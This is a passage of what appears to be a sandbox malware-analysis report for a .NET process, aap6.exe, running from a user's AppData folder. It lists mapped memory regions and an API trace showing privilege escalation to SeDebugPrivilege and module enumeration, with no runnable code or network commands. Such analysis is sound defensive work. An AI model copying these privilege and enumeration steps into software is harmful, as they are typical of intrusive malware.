	            name = "pagefile_0x0000000000940000"
	        filename = ""

Region:
	              id = 870
	        start_va = 0xad0000
	          end_va = 0x1ecffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ad0000"
	        filename = ""

Region:
	              id = 871
	        start_va = 0x20b0000
	          end_va = 0x20bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000020b0000"
	        filename = ""

Region:
	              id = 872
	        start_va = 0x6f050000
	          end_va = 0x6f5fafff
	     entry_point = 0x6f050000
	     region_type = mapped_file
	            name = "mscorwks.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")

Region:
	              id = 873
	        start_va = 0x74cb0000
	          end_va = 0x74d4afff
	     entry_point = 0x74cb0000
	     region_type = mapped_file
	            name = "msvcr80.dll"
	        filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")

Region:
	              id = 874
	        start_va = 0x2a0000
	          end_va = 0x2a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002a0000"
	        filename = ""

Region:
	              id = 875
	        start_va = 0x2b0000
	          end_va = 0x2b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002b0000"
	        filename = ""

Region:
	              id = 876
	        start_va = 0x2c0000
	          end_va = 0x2cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002c0000"
	        filename = ""

Region:
	              id = 877
	        start_va = 0x2d0000
	          end_va = 0x2dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 878
	        start_va = 0x2e0000
	          end_va = 0x2effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002e0000"
	        filename = ""

Region:
	              id = 879
	        start_va = 0x3f0000
	          end_va = 0x3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003f0000"
	        filename = ""

Region:
	              id = 880
	        start_va = 0x400000
	          end_va = 0x40ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000400000"
	        filename = ""

Region:
	              id = 881
	        start_va = 0x410000
	          end_va = 0x41ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000410000"
	        filename = ""

Region:
	              id = 882
	        start_va = 0x890000
	          end_va = 0x8cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000890000"
	        filename = ""

Region:
	              id = 883
	        start_va = 0x1f10000
	          end_va = 0x200ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001f10000"
	        filename = ""

Region:
	              id = 884
	        start_va = 0x76480000
	          end_va = 0x770c9fff
	     entry_point = 0x76480000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 885
	        start_va = 0x7efd8000
	          end_va = 0x7efdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd8000"
	        filename = ""

Region:
	              id = 886
	        start_va = 0x420000
	          end_va = 0x420fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000420000"
	        filename = ""

Region:
	              id = 887
	        start_va = 0x20c0000
	          end_va = 0x238efff
	     entry_point = 0x20c0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 888
	        start_va = 0x74590000
	          end_va = 0x7459afff
	     entry_point = 0x74590000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")

Region:
	              id = 889
	        start_va = 0x75be0000
	          end_va = 0x75d3bfff
	     entry_point = 0x75be0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")

Region:
	              id = 890
	        start_va = 0x490000
	          end_va = 0x52ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000490000"
	        filename = ""

Region:
	              id = 891
	        start_va = 0x7d0000
	          end_va = 0x80ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000007d0000"
	        filename = ""

Region:
	              id = 892
	        start_va = 0x2390000
	          end_va = 0x438ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002390000"
	        filename = ""

Region:
	              id = 893
	        start_va = 0x43d0000
	          end_va = 0x44cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043d0000"
	        filename = ""

Region:
	              id = 894
	        start_va = 0x6de00000
	          end_va = 0x6e8f7fff
	     entry_point = 0x6de00000
	     region_type = mapped_file
	            name = "mscorlib.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")

Region:
	              id = 895
	        start_va = 0x7efd5000
	          end_va = 0x7efd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efd5000"
	        filename = ""

Region:
	              id = 896
	        start_va = 0x74ee0000
	          end_va = 0x74f5ffff
	     entry_point = 0x74ee0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 897
	        start_va = 0x44d0000
	          end_va = 0x46cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000044d0000"
	        filename = ""

Region:
	              id = 898
	        start_va = 0x44d0000
	          end_va = 0x45aefff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000044d0000"
	        filename = ""

Region:
	              id = 899
	        start_va = 0x4690000
	          end_va = 0x46cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004690000"
	        filename = ""

Region:
	              id = 900
	        start_va = 0x430000
	          end_va = 0x432fff
	     entry_point = 0x430000
	     region_type = mapped_file
	            name = "l_intl.nls"
	        filename = "\\Windows\\SysWOW64\\l_intl.nls" (normalized: "c:\\windows\\syswow64\\l_intl.nls")

Region:
	              id = 901
	        start_va = 0x530000
	          end_va = 0x530fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000530000"
	        filename = ""

Region:
	              id = 902
	        start_va = 0x6fa10000
	          end_va = 0x6fa6afff
	     entry_point = 0x6fa10000
	     region_type = mapped_file
	            name = "mscorjit.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")

Region:
	              id = 909
	        start_va = 0x540000
	          end_va = 0x54ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000540000"
	        filename = ""

Region:
	              id = 910
	        start_va = 0x590000
	          end_va = 0x59ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000590000"
	        filename = ""

Region:
	              id = 911
	        start_va = 0x6bb40000
	          end_va = 0x6bcdafff
	     entry_point = 0x6bb40000
	     region_type = mapped_file
	            name = "microsoft.visualbasic.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")

Region:
	              id = 912
	        start_va = 0x6d660000
	          end_va = 0x6ddfbfff
	     entry_point = 0x6d660000
	     region_type = mapped_file
	            name = "system.ni.dll"
	        filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")

Region:
	              id = 913
	        start_va = 0x550000
	          end_va = 0x560fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000550000"
	        filename = ""

Region:
	              id = 914
	        start_va = 0x570000
	          end_va = 0x574fff
	     entry_point = 0x570000
	     region_type = mapped_file
	            name = "sorttbls.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp")

Region:
	              id = 915
	        start_va = 0x580000
	          end_va = 0x580fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000580000"
	        filename = ""

Region:
	              id = 916
	        start_va = 0x810000
	          end_va = 0x850fff
	     entry_point = 0x810000
	     region_type = mapped_file
	            name = "sortkey.nlp"
	        filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp")

Region:
	              id = 917
	        start_va = 0x60340000
	          end_va = 0x60347fff
	     entry_point = 0x60340000
	     region_type = mapped_file
	            name = "culture.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\culture.dll")

Region:
	              id = 918
	        start_va = 0x580000
	          end_va = 0x58ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000580000"
	        filename = ""

Region:
	              id = 919
	        start_va = 0x5b0000
	          end_va = 0x5b5fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005b0000"
	        filename = ""

Region:
	              id = 920
	        start_va = 0x2010000
	          end_va = 0x2063fff
	     entry_point = 0x2010000
	     region_type = mapped_file
	            name = "mscorrc.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorrc.dll")

Region:
	              id = 921
	        start_va = 0x45e0000
	          end_va = 0x461ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045e0000"
	        filename = ""

Region:
	              id = 922
	        start_va = 0x4890000
	          end_va = 0x498ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004890000"
	        filename = ""

Region:
	              id = 923
	        start_va = 0x77650000
	          end_va = 0x77654fff
	     entry_point = 0x77650000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")

Region:
	              id = 924
	        start_va = 0x7efad000
	          end_va = 0x7efaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efad000"
	        filename = ""

Region:
	              id = 925
	        start_va = 0x46d0000
	          end_va = 0x47cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000046d0000"
	        filename = ""

Region:
	              id = 926
	        start_va = 0x5c0000
	          end_va = 0x5cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005c0000"
	        filename = ""

Region:
	              id = 927
	        start_va = 0x4990000
	          end_va = 0x4b8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004990000"
	        filename = ""

Region:
	              id = 928
	        start_va = 0x5d0000
	          end_va = 0x5dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005d0000"
	        filename = ""

Region:
	              id = 987
	        start_va = 0x4800000
	          end_va = 0x483ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004800000"
	        filename = ""

Region:
	              id = 988
	        start_va = 0x4cf0000
	          end_va = 0x4deffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004cf0000"
	        filename = ""

Region:
	              id = 989
	        start_va = 0x7efaa000
	          end_va = 0x7efacfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efaa000"
	        filename = ""

Region:
	              id = 1006
	        start_va = 0x4630000
	          end_va = 0x466ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004630000"
	        filename = ""

Region:
	              id = 1007
	        start_va = 0x4ec0000
	          end_va = 0x4fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ec0000"
	        filename = ""

Region:
	              id = 1008
	        start_va = 0x7efa7000
	          end_va = 0x7efa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efa7000"
	        filename = ""

Region:
	              id = 1009
	        start_va = 0x74460000
	          end_va = 0x74475fff
	     entry_point = 0x74460000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")

Region:
	              id = 1010
	        start_va = 0x1ed0000
	          end_va = 0x1f0bfff
	     entry_point = 0x1ed0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1011
	        start_va = 0x1ed0000
	          end_va = 0x1f0bfff
	     entry_point = 0x1ed0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1012
	        start_va = 0x1ed0000
	          end_va = 0x1f0bfff
	     entry_point = 0x1ed0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1013
	        start_va = 0x1ed0000
	          end_va = 0x1f0bfff
	     entry_point = 0x1ed0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1014
	        start_va = 0x1ed0000
	          end_va = 0x1f0bfff
	     entry_point = 0x1ed0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1015
	        start_va = 0x74420000
	          end_va = 0x7445afff
	     entry_point = 0x74420000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll")

Region:
	              id = 1016
	        start_va = 0x74410000
	          end_va = 0x7441dfff
	     entry_point = 0x74410000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll")


Thread:
	id = 42
	os_tid = 0x9fc

	[0113.223] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0113.262] GetVersionExW (in: lpVersionInformation=0x1cd818*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cd818*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0113.262] GetLastError () returned 0x0
	[0113.263] GetVersionExW (in: lpVersionInformation=0x1cd818*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1cd818*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0113.263] GetLastError () returned 0x0
	[0113.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x3ee8d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x22
	[0113.266] GetLastError () returned 0x0
	[0113.292] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", nBufferLength=0x105, lpBuffer=0x3ee940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", lpFilePart=0x0) returned 0x2a
	[0113.292] GetLastError () returned 0x2
	[0113.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", nBufferLength=0x105, lpBuffer=0x3ee8dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", lpFilePart=0x0) returned 0x2a
	[0113.295] GetLastError () returned 0x2
	[0113.297] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x3ee8a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x22
	[0113.297] GetLastError () returned 0x2
	[0113.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x3ee940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x22
	[0113.301] GetLastError () returned 0x2
	[0113.301] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", nBufferLength=0x105, lpBuffer=0x3ee8dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\", lpFilePart=0x0) returned 0x22
	[0113.301] GetLastError () returned 0x2
	[0114.300] GetACP () returned 0x4e4
	[0114.577] GetVersionExW (in: lpVersionInformation=0x1d4d08*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1d4d08*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0114.577] GetLastError () returned 0x0
	[0114.577] SetErrorMode (uMode=0x1) returned 0x0
	[0114.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe.config" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3ee7f4 | out: lpFileInformation=0x3ee7f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0114.578] GetLastError () returned 0x2
	[0114.578] SetErrorMode (uMode=0x0) returned 0x1
	[0114.917] lstrlenW (lpString="䅁") returned 1
	[0115.076] CoCreateGuid (in: pguid=0x3edbb0 | out: pguid=0x3edbb0*(Data1=0x67809434, Data2=0xb9a, Data3=0x4b5b, Data4=([0]=0x92, [1]=0x54, [2]=0x95, [3]=0xbd, [4]=0x87, [5]=0x22, [6]=0x8f, [7]=0x9b))) returned 0x0
	[0115.122] CoCreateGuid (in: pguid=0x3ee134 | out: pguid=0x3ee134*(Data1=0x368c72a2, Data2=0x89b1, Data3=0x4bfb, Data4=([0]=0x84, [1]=0x3a, [2]=0x9c, [3]=0x54, [4]=0x9a, [5]=0xbe, [6]=0xb0, [7]=0x87))) returned 0x0
	[0115.129] CoCreateGuid (in: pguid=0x3ee134 | out: pguid=0x3ee134*(Data1=0x650b0224, Data2=0xf9b2, Data3=0x4178, Data4=([0]=0xbf, [1]=0x7e, [2]=0x71, [3]=0x4f, [4]=0x20, [5]=0x78, [6]=0x2e, [7]=0x6b))) returned 0x0
	[0115.451] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x1d4cf0, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21
	[0115.451] GetLastError () returned 0x0
	[0115.583] GetCurrentProcessId () returned 0x9f8
	[0115.585] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x3edbbc | out: lpLuid=0x3edbbc*(LowPart=0x14, HighPart=0)) returned 1
	[0115.589] GetLastError () returned 0x0
	[0115.590] GetCurrentProcess () returned 0xffffffff
	[0115.590] GetLastError () returned 0x0
	[0115.591] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x3edbb8 | out: TokenHandle=0x3edbb8*=0x1ec) returned 1
	[0115.591] GetLastError () returned 0x0
	[0115.593] AdjustTokenPrivileges (in: TokenHandle=0x1ec, DisableAllPrivileges=0, NewState=0x23f6d0c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0115.593] GetLastError () returned 0x514
	[0115.594] CloseHandle (hObject=0x1ec) returned 1
	[0115.594] GetLastError () returned 0x514
	[0115.600] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0115.600] GetLastError () returned 0x514
	[0115.608] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x23f76a8, cb=0x100, lpcbNeeded=0x3ee340 | out: lphModule=0x23f76a8, lpcbNeeded=0x3ee340) returned 1
	[0115.608] GetLastError () returned 0x514
	[0115.611] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x23f77e8, cb=0xc | out: lpmodinfo=0x23f77e8*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0115.611] GetLastError () returned 0x514
	[0115.613] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0115.613] GetLastError () returned 0x514
	[0115.614] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0115.614] GetLastError () returned 0x514
	[0115.614] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x23f8918, cb=0xc | out: lpmodinfo=0x23f8918*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0115.614] GetLastError () returned 0x514
	[0115.614] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0115.614] GetLastError () returned 0x514
	[0115.614] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0115.615] GetLastError () returned 0x514
	[0115.615] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x23f9a0c, cb=0xc | out: lpmodinfo=0x23f9a0c*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0115.615] GetLastError () returned 0x514
	[0115.615] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0115.615] GetLastError () returned 0x514
	[0115.615] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0115.615] GetLastError () returned 0x514
	[0115.615] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x23fab08, cb=0xc | out: lpmodinfo=0x23fab08*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0115.616] GetLastError () returned 0x514
	[0115.616] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0115.616] GetLastError () returned 0x514
	[0115.616] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0115.616] GetLastError () returned 0x514
	[0115.616] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x23fbc0c, cb=0xc | out: lpmodinfo=0x23fbc0c*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0115.616] GetLastError () returned 0x514
	[0115.617] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0115.617] GetLastError () returned 0x514
	[0115.617] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0115.617] GetLastError () returned 0x514
	[0115.617] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x23fcd48, cb=0xc | out: lpmodinfo=0x23fcd48*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0115.617] GetLastError () returned 0x514
	[0115.617] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0115.618] GetLastError () returned 0x514
	[0115.618] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0115.618] GetLastError () returned 0x514
	[0115.618] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x23fde4c, cb=0xc | out: lpmodinfo=0x23fde4c*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0115.618] GetLastError () returned 0x514
	[0115.618] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0115.619] GetLastError () returned 0x514
	[0115.619] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0115.619] GetLastError () returned 0x514
	[0115.619] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x23fef48, cb=0xc | out: lpmodinfo=0x23fef48*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0115.619] GetLastError () returned 0x514
	[0115.619] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0115.619] GetLastError () returned 0x514
	[0115.620] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0115.620] GetLastError () returned 0x514
	[0115.620] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x2400044, cb=0xc | out: lpmodinfo=0x2400044*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0115.620] GetLastError () returned 0x514
